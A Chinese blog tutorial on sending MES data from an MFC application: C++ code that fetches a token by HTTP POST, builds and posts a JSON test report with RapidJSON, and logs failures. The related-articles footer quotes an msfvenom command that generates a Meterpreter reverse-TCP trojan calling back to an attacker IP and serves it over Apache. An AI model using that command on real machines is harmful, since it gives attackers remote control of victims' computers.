MFC 发起 HTTP Post 请求 发送MES消息

news2024/11/18 11:40:25

文章目录

  • 获取Token
    • 将获取的Token写入JSON文件
  • 将测试参数发送到http
    • 首先将测试参数写入到TestData.JSON文件
    • rapidjson 库需要将CString 进行类型转换才能使用,将CString 转换为const char*
  • 发送JSON 参数到http中,并且获取返回结果写入TestFinish.JSON文件
  • 读取TestFinish.JSON文件判断返回结果是否正确
    • Mes发送失败的错误日志
  • 类函数
  • 父类函数

获取Token

首先获取WebApi 的Token
在这里插入图片描述
执行请求Token函数
在这里插入图片描述

int CHttpClientJXJST::ExecuteRequest()
{
	//设置连接超时时间为20s
    m_pSession->SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, 1000 * 20);
    m_pSession->SetOption(INTERNET_OPTION_CONNECT_BACKOFF, 1000); // 设置连接后退时间
    m_pSession->SetOption(INTERNET_OPTION_CONNECT_RETRIES, 3);    // 设置连接重试次数

    //通过网络会话对象创建一个 HTTP 连接对象,连接到 http://111.75.253.00 服务器,端口为8080
    //m_pConnection = m_pSession->GetHttpConnection(TEXT("111.75.253.00"), (INTERNET_PORT)8000);
	m_pConnection = m_pSession->GetHttpConnection(TEXT(theApp.m_oHardParaEx.m_sMesHttp), (INTERNET_PORT)8000);

    // 使用该连接对象创建一个 HTTP 文件对象,用于在服务器上打开一个请求,使用 HTTP POST 方法,指定请求的 URL 为 "/api/token/getToken"
	m_pFile = m_pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, theApp.m_oHardParaEx.m_sMesURL,
                                          NULL, 1, NULL, TEXT("HTTP/1.1"), INTERNET_FLAG_RELOAD);

    // 设置需要提交的数据,包括请求头信息和 POST 数据
    //CString szHeaders = TEXT("Content-Type:application/json;charset=utf-8");
    //CString strFormData = TEXT("username=switchdevice&password=1234567");
	CString szHeaders = TEXT("Content-Type: application/x-www-form-urlencoded\r\n");
	m_pFile->AddRequestHeaders(szHeaders);

   // 设置表单数据
	//CString strFormData = TEXT("username=switchdevice&password=1234567");
	CString strFormData = TEXT("username=")+theApp.m_oHardParaEx.m_sMesUser+("&password=")+theApp.m_oHardParaEx.m_sMesPassWord;

	try 
	{
			// 发送请求
		m_pFile->SendRequest(NULL, 0, (LPVOID)(LPCTSTR)strFormData, strFormData.GetLength());

			 // 如果请求成功,继续执行其他操作
	} catch (CInternetException* pEx) {
		// 处理异常
		TCHAR szError[1024];
		pEx->GetErrorMessage(szError, 1024);
		// 在这里进行异常处理,例如输出错误信息或者进行其他适当的操作
		AfxMessageBox(szError);
		pEx->Delete(); // 删除异常对象
	}


		// 查询返回的状态码
    DWORD dwRet;
    m_pFile->QueryInfoStatusCode(dwRet);

	
	strFilePath = theApp.m_sRunPath + _T("\\sys\\response.JSON");
    if (dwRet != HTTP_STATUS_OK)
    {
		msg =_T("");
        CString errText;
        errText.Format(_T("POST出错,错误码:%d"), dwRet);
        AfxMessageBox(errText);
    }
    else
    {
		
        int len = m_pFile->GetLength();
		char buf[2000];
		int numread;
		
		CFile MesFile( strFilePath, CFile::modeCreate | CFile::modeWrite | CFile::typeBinary);

		// 初始化 strFile 为空字符串
		CString strFile;

		// 循环读取数据
		while ((numread = m_pFile->Read(buf, sizeof(buf) - 1)) > 0)
		{
			// 添加 '\0' 到 buf 数组中读取的最后一个字符的位置
			buf[numread] = '\0';

			// 追加数据到 strFile
			strFile += buf;

			// 写入数据到文件
			MesFile.Write(buf, numread);
		}
		MesFile.Close();
		//读取JSON文件
		GetMsg(strFilePath);
    }	

    return SUCCESS;
}

将获取的Token写入JSON文件

CString CHttpClientJXJST::GetMsg(CString filePath)
{
	
	try {
        // 创建一个 CFile 对象
        CFile JsonFile;
        // 打开文件
        if (!JsonFile.Open(filePath, CFile::modeRead))
		{
            AfxMessageBox(_T("Failed to open JSON file."));
            return 0;
        }

        // 获取文件大小
        ULONGLONG fileSize = JsonFile.GetLength();
        // 创建一个缓冲区来存储文件内容
        char* buffer = new char[fileSize + 1];
        // 读取文件内容到缓冲区
        JsonFile.Read(buffer, (UINT)fileSize);
        // 添加字符串结尾标志
        buffer[fileSize] = '\0';
        // 关闭文件
        JsonFile.Close();

        // 使用 RapidJSON 解析 JSON 字符串
        rapidjson::Document document;
        document.Parse(buffer);

        // 检查解析是否成功
        if (document.HasParseError()) 
		{
            AfxMessageBox(_T("JSON parse error: ") + CString(rapidjson::GetParseError_En(document.GetParseError())));
            delete[] buffer;
            return 0;
        }

        // 检查是否存在 msg 和 timestamp 字段
        if (document.HasMember("msg") && document.HasMember("timestamp")) 
		{
            // 获取 msg 和 timestamp 值
            msg = CString(document["msg"].GetString());
            timestamp = document["timestamp"].GetUint64();


            // 释放缓冲区内存
            delete[] buffer;
        } 
		else 
		{
            AfxMessageBox(_T("JSON does not contain msg and timestamp fields."));
            delete[] buffer;
            return 0;
        }
    } catch (CFileException* pEx)
	{
        // 处理文件操作异常
        TCHAR szCause[255];
        pEx->GetErrorMessage(szCause, 255);
        AfxMessageBox(_T("File operation error: ") + CString(szCause));
        pEx->Delete();
		return 0;
        
    }
	return msg;

}

在这里插入图片描述

将测试参数发送到http

首先将测试参数写入到TestData.JSON文件

void CHttpClientJXJST::WirteJsonData(CString m_snCode,CString m_moBill,CString m_result,CXMLData* pData)
{
	strFilePath = theApp.m_sRunPath + _T("\\sys\\TestData.JSON");
    CFileException fileException;
    CFile JSONDataFile;

    // 尝试打开文件
    if (!JSONDataFile.Open(strFilePath, CFile::modeCreate | CFile::modeWrite | CFile::typeBinary, &fileException))
    {
        AfxMessageBox(_T("打开TestData.JSON文件失败"));
        return;
    }

	// 创建一个空的 JSON 文档
	Document document;
	document.SetObject();

	// 将 deviceCode 字段添加到文档中
	Value deviceCode(StringToConstChar(CStringToString(theApp.m_oHardParaEx.m_sMesDeviceCode)), document.GetAllocator());
	// 将 processCode 字段添加到文档中
	Value processCode(StringToConstChar(CStringToString(theApp.m_oHardParaEx.m_sMesGX)), document.GetAllocator());
	// 将 snCode 字段添加到文档中
	Value snCode(StringToConstChar(CStringToString(m_snCode)), document.GetAllocator());
	//将  jobNo 字段添加到文档中
	Value jobNo(StringToConstChar(CStringToString(theApp.m_oHardParaEx.m_sMesJobNo)), document.GetAllocator());

	// 获取当前时间
	CTime currentTime = CTime::GetCurrentTime();
	// 格式化日期时间为字符串
	CString m_sDateTime = currentTime.Format(_T("%Y-%m-%d %H:%M:%S"));
	//时间
	Value date(StringToConstChar(CStringToString(m_sDateTime)), document.GetAllocator());
	//姓名
	Value user(StringToConstChar(CStringToString(theApp.m_oHardParaEx.m_sMesTestName)), document.GetAllocator());
	//生产单号
	Value moBill(StringToConstChar(CStringToString(m_moBill)), document.GetAllocator());

	//返回结果
	Value result(StringToConstChar(CStringToString(m_result)), document.GetAllocator());

	// 设置 JSON 字段
	document.AddMember("deviceCode", deviceCode, document.GetAllocator());		// 设备编号
	document.AddMember("processCode", processCode, document.GetAllocator());	 // 工序编号
	document.AddMember("snCode", snCode, document.GetAllocator());				// 检测条码
    document.AddMember("jobNo", jobNo, document.GetAllocator());				// 员工工号
    document.AddMember("date", date, document.GetAllocator());					// 时间
    document.AddMember("user", user, document.GetAllocator());					// 检测人名称
    document.AddMember("moBill", moBill, document.GetAllocator());				// 生产订单号
    document.AddMember("result", result, document.GetAllocator());				// 返回结果


	 // 创建一个数组并添加到 JSON 文档中
	Value dataArray(kArrayType);
	
	int n = pData->m_oXMLItems.GetSize( );
	int i = 0;


	for(int i=0;i<n;i++)
	{
		
		Value test(kObjectType);
		// 获取测试项目的关键字和值
		
		if(pData->m_oXMLItems.GetAt(i)!=NULL)
		{

			CString skey = pData->m_oXMLItems[i]->sKey;			//检测项目编码
			CString stestName =pData->m_oXMLItems[i]->sTestName;//检测项目名称
			CString sminVal=pData->m_oXMLItems[i]->sMinVal;		//下限值
			CString smaxVal=pData->m_oXMLItems[i]->sMaxVal;		//上限值
			CString stestValue =pData->m_oXMLItems[i]->sTestVal;//检测项目值
			CString sresultInfo =pData->m_oXMLItems[i]->sResultInfo;//检测结果
			CString sbadCode =pData->m_oXMLItems[i]->sBadCode;

			//检测项目编码
			Value testCode(StringToConstChar(CStringToString(skey)), document.GetAllocator());
			Value testName(StringToConstChar(CStringToString(stestName)), document.GetAllocator());
			Value minVal(StringToConstChar(CStringToString(sminVal)), document.GetAllocator());
			Value maxVal(StringToConstChar(CStringToString(smaxVal)), document.GetAllocator());
			Value testValue(StringToConstChar(CStringToString(stestValue)), document.GetAllocator());
			Value resultInfo(StringToConstChar(CStringToString(sresultInfo)), document.GetAllocator());
			Value badCode(StringToConstChar(CStringToString(sbadCode)), document.GetAllocator());

			test.AddMember("testCode", testCode, document.GetAllocator());
			test.AddMember("testName",testName, document.GetAllocator());
			test.AddMember("minVal", minVal, document.GetAllocator());
			test.AddMember("maxVal", maxVal, document.GetAllocator());
			test.AddMember("testVal",testValue, document.GetAllocator());
			test.AddMember("resultInfo", resultInfo, document.GetAllocator());
			test.AddMember("badCode", badCode, document.GetAllocator());

			dataArray.PushBack(test, document.GetAllocator());
		}

		
	}
    document.AddMember("data", dataArray, document.GetAllocator());
    // 将 JSON 文档写入文件
    StringBuffer buffer;
    PrettyWriter<StringBuffer> writer(buffer);
    document.Accept(writer);
    CStringA jsonStr(buffer.GetString());
    // 将字符串写入文件
    try
    {
        JSONDataFile.Write(jsonStr, jsonStr.GetLength());
        JSONDataFile.Close();
    }
    catch (CFileException* e)
    {
        // 处理文件写入错误
        TCHAR szError[1024];
        e->GetErrorMessage(szError, 1024);
        TRACE(_T("Failed to write JSON file: %s\n"), szError);
        e->Delete();
    }
}

生成的JSON 数据大致如下
在这里插入图片描述

rapidjson 库需要将CString 进行类型转换才能使用,将CString 转换为const char*

std::string CHttpClientJXJST::CStringToString(const CString& cstr)
{
	  // 使用 CStringA 构造函数将 CString 转换为 ANSI 字符串
    CStringA strA(cstr);
    // 使用 ANSI 字符串构造 std::string
    return std::string(strA.GetString());
}


const char* CHttpClientJXJST::StringToConstChar(const std::string& str)
{
	 return str.c_str();
}

发送JSON 参数到http中,并且获取返回结果写入TestFinish.JSON文件

void CHttpClientJXJST::TestFinishRequest()
{
    // 使用该连接对象创建一个 HTTP 文件对象,用于在服务器上打开一个请求,使用 HTTP POST 方法,指定请求的 URL 为 "/api/mom/device/saveData"
	m_pFile = m_pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, theApp.m_oHardParaEx.m_sMesURL2,
                                          NULL, 1, NULL, TEXT("HTTP/1.1"), INTERNET_FLAG_RELOAD);

	 // 设置请求头信息
	CString szHeaders = TEXT("Content-Type: application/json;charset=utf-8\r\n");
	szHeaders += TEXT("Authorization: ") + msg + TEXT("\r\n"); // 使用 msg 变量作为 Authorization 头的值
	m_pFile->AddRequestHeaders(szHeaders);
	

	//读取JSON文件            //单独创建一个JSON文件保存数据
	strFilePath = theApp.m_sRunPath + _T("\\sys\\TestData.JSON");


	CStringA strJsonData =ReadJSONFile(strFilePath);
	

	  // 设置请求体数据为 JSON 格式
    DWORD dwDataLen = strJsonData.GetLength();


	// 设置请求体数据为 JSON 格式
	//DWORD dwDataLen = strJsonData.GetLength() * sizeof(TCHAR);

	// 发送请求
	//m_pFile->SendRequest(NULL, 0, (LPVOID)(LPCTSTR)strJsonData, dwDataLen);

	try 
	{
		// 发送请求
		m_pFile->SendRequest(NULL, 0, (LPVOID)(LPSTR)strJsonData.GetBuffer(), dwDataLen);
		// 如果请求成功,继续执行其他操作
	} 
	catch (CInternetException* pEx) 
	{
		// 处理异常
		TCHAR szError[1024];
		pEx->GetErrorMessage(szError, 1024);
		// 在这里进行异常处理,例如输出错误信息或者进行其他适当的操作
		AfxMessageBox(szError);
		pEx->Delete(); // 删除异常对象
	}


	// 查询返回的状态码
	DWORD dwRet;
	m_pFile->QueryInfoStatusCode(dwRet);


	strFilePath = theApp.m_sRunPath + _T("\\sys\\TestFinish.JSON");
    if (dwRet != HTTP_STATUS_OK)
    {
        CString errText;
        errText.Format(_T("POST出错,错误码:%d"), dwRet);
        AfxMessageBox(errText);
    }
    else
    {
		
        int len = m_pFile->GetLength();
		char buf[2000];
		int numread;
		
		CFile MesFile( strFilePath, CFile::modeCreate | CFile::modeWrite | CFile::typeBinary);

		// 初始化 strFile 为空字符串
		CString strFile;

		// 循环读取数据
		while ((numread = m_pFile->Read(buf, sizeof(buf) - 1)) > 0)
		{
			// 添加 '\0' 到 buf 数组中读取的最后一个字符的位置
			buf[numread] = '\0';

			// 追加数据到 strFile
			strFile += buf;
			// 写入数据到文件
			MesFile.Write(buf, numread);
		}
		MesFile.Close();
    }
}

读取TestFinish.JSON文件判断返回结果是否正确

CString CHttpClientJXJST::GetFinishResult(CString filePath)
{
	m_sResult=_T("");
	
	try {
        // 创建一个 CFile 对象
        CFile JsonFile;
        // 打开文件
        if (!JsonFile.Open(filePath, CFile::modeRead))
		{
            AfxMessageBox(_T("Failed to open JSON file."));
            return 0;
        }

        // 获取文件大小
        ULONGLONG fileSize = JsonFile.GetLength();
        // 创建一个缓冲区来存储文件内容
        char* buffer = new char[fileSize + 1];
        // 读取文件内容到缓冲区
        JsonFile.Read(buffer, (UINT)fileSize);
        // 添加字符串结尾标志
        buffer[fileSize] = '\0';
        // 关闭文件
        JsonFile.Close();

        // 使用 RapidJSON 解析 JSON 字符串
        rapidjson::Document document;
        document.Parse(buffer);

        // 检查解析是否成功
        if (document.HasParseError()) 
		{
            AfxMessageBox(_T("JSON parse error: ") + CString(rapidjson::GetParseError_En(document.GetParseError())));
            delete[] buffer;
            return 0;
        }
        // 检查是否存在 msg 
        if (document.HasMember("msg")) 
		{
			// 获取 msg 字段的值
			const rapidjson::Value& msgValue = document["msg"];
			m_sResult = CStringA(document["msg"].GetString());
			if (msgValue.IsString()) 
			{
			
				// 获取字符串的长度
				size_t length = msgValue.GetStringLength();
				 // 获取字符串的首指针
				const char* msgString = msgValue.GetString();
				 // 计算需要的缓冲区大小
				int bufferSize = MultiByteToWideChar(CP_UTF8, 0, msgString, -1, nullptr, 0);
				// 分配缓冲区
				wchar_t* utf16Buffer = new wchar_t[bufferSize];
				 // 进行编码转换
				MultiByteToWideChar(CP_UTF8, 0, msgString, -1, utf16Buffer, bufferSize);
				 // 将 wchar_t* 转换为 CString
				 m_sResult = CString(utf16Buffer);
				   // 释放内存
				delete[] utf16Buffer;
			
			}
			else 
			{
				// 如果值不是字符串类型,进行相应的错误处理
				AfxMessageBox(_T("Value of 'msg' is not a string."));
			}

		
            // 释放缓冲区内存
            delete[] buffer;
        } 
		else 
		{
            AfxMessageBox(_T("JSON does not contain msg and timestamp fields."));
            delete[] buffer;
            return 0;
        }
    } catch (CFileException* pEx)
	{
        // 处理文件操作异常
        TCHAR szCause[255];
        pEx->GetErrorMessage(szCause, 255);
        AfxMessageBox(_T("File operation error: ") + CString(szCause));
        pEx->Delete();
		return 0;
        
    }
	return m_sResult;

}

在这里插入图片描述在这里插入图片描述

Mes发送失败的错误日志

void CHttpClientJXJST::OutputLog(CString msg)
{
	try{
		strFilePath = theApp.m_sRunPath + _T("\\sys\\log.txt");
		//设置文件的打开参数
		CStdioFile outFile(strFilePath, CFile::modeNoTruncate | CFile::modeCreate | CFile::modeWrite | CFile::typeText);
		CString msLine;
		CTime CurTime = CTime::GetCurrentTime();
		msLine = CurTime.Format("[%Y-%B-%d %A, %H:%M:%S] ") + msg;
		msLine += "\n";
 
		//在文件末尾插入新纪录
		outFile.SeekToEnd();
		outFile.WriteString( msLine );
		outFile.Close();
	}
	catch(CFileException *fx)
	{
		fx->Delete();
	}
}

在这里插入图片描述

类函数

#pragma once
#include "HttpClient.h"
#include <afx.h>  // 包含 MFC 核心头文件
#include <afxwin.h> // 包含 MFC Windows 类的头文件
#include "rapidjson/document.h"
#include "rapidjson/error/en.h"
#include "rapidjson/stringbuffer.h"
#include "rapidjson/writer.h"
#include "rapidjson/istreamwrapper.h"
#include "rapidjson/prettywriter.h"
#include "rapidjson/filereadstream.h"

#include <iostream>

#include <atlstr.h> // 包含 CString 头文件
#include <string>
using namespace rapidjson;
using namespace std;



class CXMLData;
class CHttpClientJXJST :
	public CHttpClient
{
public:
	CHttpClientJXJST(void);
	~CHttpClientJXJST(void);

public:
	int ExecuteRequest(); //开启程序请求http 
	//测试完成请求http
	void TestFinishRequest();//测试完成请求http 返回结果
	CString GetFinishResult(CString filePath);//读取JOSN 文件 获取msg->token
	CString GetMsg(CString filePath);//读取JOSN 文件 获取msg->token
	//WirteJsonData 文件
	//1.检测条码 snCode
	//2.生产单号 moBill
	//3.总判定结果 result
	void WirteJsonData(CString m_snCode,CString m_moBill,CString m_result,CXMLData* pData);//写入JSON文件数据
	CStringA ReadJSONFile(const CString& filePath);
	std::string CStringToString(const CString& cstr);//CString 转换为std::string
	const char* StringToConstChar(const std::string& str);//std::string 转换为const char*
	void OutputLog(CString msg);//错误日志
public:
	CString msg;//Token
	ULONGLONG timestamp;//时间戳
	//获取文件路径
	CString strFilePath;//JSON文件路径
	CString m_sResult;//读取的返回结果
};

父类函数

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710638.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

效率工作:一键为多种资产添加统一材质(小插件)

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…

【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录 一、问题描述 二、解题思路 方法一:计数器方式 方法…

计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

流程&#xff1a; 1.Python爬虫采集物流数据等存入mysql和.csv文件&#xff1b; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs&#xff1b; 3.使用hive数据仓库完成建库建表导入.csv数据集&#xff1b; 4.使用hive之hive_sql进行离线计算&…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

深入探究Java自动拆箱与装箱的实现原理

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

浙江大学数据结构MOOC-课后习题-第九讲-排序2 Insert or Merge

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 测试点 思路分析 刚开始我打算想推出一个规律&#xff0c;来判断是否是归并排序&#xff0c;但实在太过于复杂&#xff0c;我很难去想出这样的规律…因此&#xff0c;参考了其他博主的思路——每做一次排…

AI菜鸟向前飞 — LangChain系列之十五 - Agent系列:从现象看机制(中篇)一个Agent的“旅行”

Agent基本架构 先谈谈Agent基本架构概念&#xff0c;如果看得云里雾里&#xff0c;等看完本篇之后&#xff0c;再回头看就会豁然开朗的&#xff0c;而我尽量写得更易懂&#xff1a; &#xff09; 这里面会穿插着上一篇的内容&#xff0c;请大家记得往回翻翻&#xff0c;传送门&…

Vue.js中如何实现以列表首列为表头

前言 一般情况table列表的展示&#xff0c;列头都在第一横行&#xff0c;此方法用于列头在第一列的情况。 效果图 核心代码 <template><div><table class"data-table"><tr v-for"(column, columnIndex) in columns" :key"col…

maven部署到私服

方法一:网页上传 1、账号登录 用户名/密码 2、地址 http://自己的ip:自己的端口/nexus 3、查看Repositories列表&#xff0c;选择Public Repositories&#xff0c;确定待上传jar包不在私服中 4、选择3rd party仓库&#xff0c;点击Artifact Upload页签 5、GAV Definition选…

MagicPose4D:解锁AI驱动的3D模型动作新纪元

在当今快速发展的数字内容创作领域,MagicPose4D正以其革命性的技术颠覆传统动画制作流程,成为创作者手中的魔法棒。这款先进的框架不仅仅是一款工具,更是通往无限创意的一扇门,它使得为3D模型赋予生动、自然的动作变得前所未有的简单和高效。下面,让我们深入探索MagicPose…

STM32高级控制定时器(STM32F103):检测输入PWM周期和占空比

目录 概述 1 PWM 输入模式 1.1 原理介绍 1.2 应用实例 1.3 示例时序图 2 使用STM32Cube配置工程 2.1 软件环境 2.2 配置参数 2.3 生成项目文件 3 功能实现 3.1 PWM占空比函数 3.2 输入捕捉回调函数 4 功能测试 4.1 测试软件框架结构 4.2 实验实现 4.2.1 测试实…

Redis介绍及安装配置

1 什么是Redis Redis 的定义&#xff1a;Redis&#xff08;Remote Dictionary Server 远程字典服务&#xff09;是一个开源的使用C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并提供多种语言的API。 可见Redis和我们最经常使用的MySQL都…

动态规划之买卖股票大集合

目录 引言 1.只能进行一次买卖股票&#xff08;最多只能买一股股票&#xff09; 2.可以进行多次股票买卖&#xff0c;且没有手续费&#xff08;最多只能买一股股票&#xff09; 3.可以进行多次股票买卖&#xff0c;但是有冷冻期&#xff0c;无手续费&#xff08;最多只能买一…

Firefox浏览器网页上的按钮点击无效解决办法

我在github下点下载经常不好使&#xff0c;查了原因&#xff0c;原来是浏览器的问题。在Firefox浏览器的设置里面&#xff0c;去掉一些cookies的禁用即可。之后&#xff0c;就可以点击按钮成功响应了。

智能跳绳的产品体验与思考(一)

我&#xff0c;虽称不上跳绳高手&#xff0c;却对这项运动怀有深厚的热爱&#xff0c;也曾在某电商平台上选购过一款智能跳绳&#xff0c;希望能借此提升我的跳绳技巧。今天&#xff0c;咱们就来聊聊我和这条绳子的发生的一些故事&#xff0c;外加我的一些思考。 此刻&#xf…

NDIS协议驱动(四)

NDIS 定义对象标识符 (OID) 值&#xff0c;以标识适配器参数&#xff0c;其中包括设备特征、可配置设置和统计信息等操作参数。 协议驱动程序可以查询或设置基础驱动程序的操作参数。 NDIS 还为 NDIS 6.1 及更高版本的协议驱动程序提供直接 OID 请求接口。 直接 OID 请求路径支…

Java-文件操作

一、创建文件 1.创建文件夹 创建文件夹时&#xff0c;注意两个条件&#xff0c;该路径对应的是否为目录&#xff08;dir&#xff09;&#xff0c;该文件夹是否存在。 File Apathnew File("./文件夹A"); //当前路径文件夹的存储路径if(!Apath.exists() &&am…

【研0深度学习】李宏毅2024春《生成式人工智能导论》持续更新...

文章目录 第1讲 什么是生成式人工智慧&#xff1f;第2讲 今日的生成式人工智慧厉害在哪里&#xff1f;第3-5讲 训练不了人工智慧&#xff0c;你可以训练你自己&#xff08;在不训练模型的情况下强化语言模型的方法&#xff09;第6讲 大模型修炼史——第一阶段 自我学习 累计实力…